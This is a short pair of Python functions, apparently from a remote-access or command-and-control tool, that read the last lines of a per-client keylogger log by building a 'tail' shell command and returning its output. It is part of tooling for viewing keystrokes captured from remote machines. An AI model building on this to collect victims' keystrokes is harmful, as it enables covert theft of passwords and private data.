def keylogger(self, data): size = Utils.get_arg_at(data, 1, 2) try: size = int(size) except: size = 20 output = os.system("tail -n %d %skeylogger_%s.log" % (size, Log.create_folder_tree(), self.guid)) return ""
def keylogger(self): size = Utils.get_arg_at(self.data, 1, 2) try: size = int(size) except: size = 20 proc = subprocess.Popen("tail -n %d %skeylogger_%s.log" % (size, Log.create_folder_tree(), self.guid), shell=True, stdout=subprocess.PIPE) self.output = proc.stdout.read() return ""